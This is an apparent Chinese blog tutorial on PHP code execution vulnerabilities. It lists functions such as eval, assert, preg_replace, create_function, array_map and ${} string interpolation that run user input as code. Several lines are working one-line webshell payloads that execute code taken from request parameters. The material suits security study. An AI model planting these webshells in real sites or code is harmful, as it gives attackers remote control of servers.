代码执行漏洞原理: 用户输入的数据被当做后端代码进行执行
//其实一句话木马的本质就是一个代码执行漏洞 用户输入的数据被当做代码进行执行。在PHP存在诸多函数可以做到代码执行 [注:为了方便此处我把要执行的代码简写为$a] 1、eval($a); //eval是代码执行用的最多的,他可以多行执行 eval($_REQUEST['a']);
2、assert($a)//只能单行执行 assert($_REQUEST['a']) //如何多行执行呢?
写文件然后执行,例如: file_put_contents('1.php','')
3、preg_replace() //正则替换函数,他其实也会产生代码执行 preg_replace('/a/','x','abc');
4丶create_function() //匿名函数 $a = create_function('$id','echo $id;'); 自定义函数$a echo $a(8); //执行echo $id;因为$id我传参是8所以 echo $id;
5、array_map() //回调函数,调用某个函数。 图片是这个函数的用法,调用cube函数,传参 一句话木马: array_map('assert',array($POST['c'])); array_map($REQUEST['b'],array($_REQUEST['c'])); 请记住:Eval是无法调用的,因为eval比较特殊,不认为是函数,属于特殊写法 call_user_func() 也可回调,回调函数在PHP有很多
PHP版本5.5及其以上版本可以使用
"${phpinfo()}"; => 代码执行phpinfo()
PHP的字符串是可以使用复杂的表达式。例如 ${中间可以写调用的函数} ${phpinfo()}; //可以执行 $a = ${phpinfo()}; //可以执行
标签:函数,REQUEST,命令,代码执行,array,执行,id From: https://www.cnblogs.com/Crushz-2024/p/18390455